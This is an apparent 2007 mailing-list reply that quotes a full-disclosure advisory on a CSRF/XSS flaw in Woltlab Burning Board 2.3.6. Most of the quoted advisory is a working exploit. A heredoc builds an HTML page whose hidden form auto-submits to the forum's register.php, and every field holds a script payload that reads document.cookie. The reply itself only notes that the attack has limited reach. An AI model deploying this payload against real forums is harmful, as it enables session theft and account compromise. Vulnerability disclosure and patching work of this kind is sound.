Re: Woltlab Burning Board (wbb) 2.3.6 CSRF/XSS - 0day

["MC Iglo" <mc.iglo () googlemail com>]

On my WBB 2.3.3 (and i think, this is the default setting) you cannot
access register.php when logged in (even as admin). So you need to be
logged off to open the evil site. And when you are logged off, the
cookie is simply useless.

Also, on my Forum, only r_dateformat and r_timeformat are affected.

regards

2007/3/2, SaMuschie <samuschie () yahoo de>:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> +--------------------------------------- -  -- -
> | SaMuschie Research Labs proudly presents . . .
> +-------------------------------------------  -- -  -
> | Application: Woltlab Burning Board (wbb)
> | Version: 2.3.6 (others not testet)
> | Vuln./Exploit Type: CSRF/XSS
> | Status: 0day
> +----------------------------------------- --  -  -
> | Discovered by: Samenspender
> | Released: 20070302
> | SaMuschie Release Number: 5
> +------------------------------- -  -- -
>
> CSRF/XSS Exploit:
>
> cat <<EOF > wetpussy.html
> <form name='evilform' method='POST' action='http://victimhost/wbb2/register.php&apos;>
> <input type=hidden name=r_username value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_email value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_password value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_confirmpassword value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=key_string value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=key_number value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_homepage value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_icq value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_aim value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_yim value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_msn value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_day value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_month value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_year value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_gender value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_signature value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=disablesmilies value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=disablebbcode value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=disableimages value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_usertext value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=field%5B1%5D value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=field%5B2%5D value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=field%5B3%5D value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_invisible value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_usecookies value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_admincanemail value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_showemail value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_usercanemail value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_emailnotify value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_notificationperpm value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_receivepm value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_emailonpm value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_pmpopup value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_showsignatures value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_showavatars value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_showimages value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_daysprune value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_umaxposts value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_threadview value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_dateformat value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_timeformat value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_startweek value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_timezoneoffset value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_usewysiwyg value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_styleid value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=r_langid value='"><script>alert("Cookie: " +
> document.cookie)</script><lol="'>
> <input type=hidden name=send value='send'>
> <input type=hidden name=sid value=''>
> <input type=hidden name=disclaimer value='viewed'>
> </form>
> <body onload=javascript:document.forms['evilform'].submit();>
> EOF
>
> +-----------------------------  -- -
> | Lameness Disclaimer
> +------------------------------------- - -- -  -
> | SaMuschie Research Labs was founded to publish
> | vulnerabilities within well known software products,
> | which are easy to discover and exploit.
> |
> | SaMuschie researchers just spend a minimum of time
> | and knowledge for each vulnerability. Hence readers of
> | this advisory are requested not to ask any questions
> | to the researchers.... they don't know the answer ;)
> +----------------------------------  - --  - -
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.6 (GNU/Linux)
>
> iD8DBQFF6AyiMFgfGpQK8VERAsieAJwIMk+g0Y70cV6dR5YtsMfq4U+5fgCfWWzD
> Qg6at+bMTnvHbw0SYyXk5ko=
> =7wPg
> -----END PGP SIGNATURE-----
>
>
>
>
>
>
> ___________________________________________________________
> Der frühe Vogel fängt den Wurm. Hier gelangen Sie zum neuen Yahoo! Mail: http://mail.yahoo.de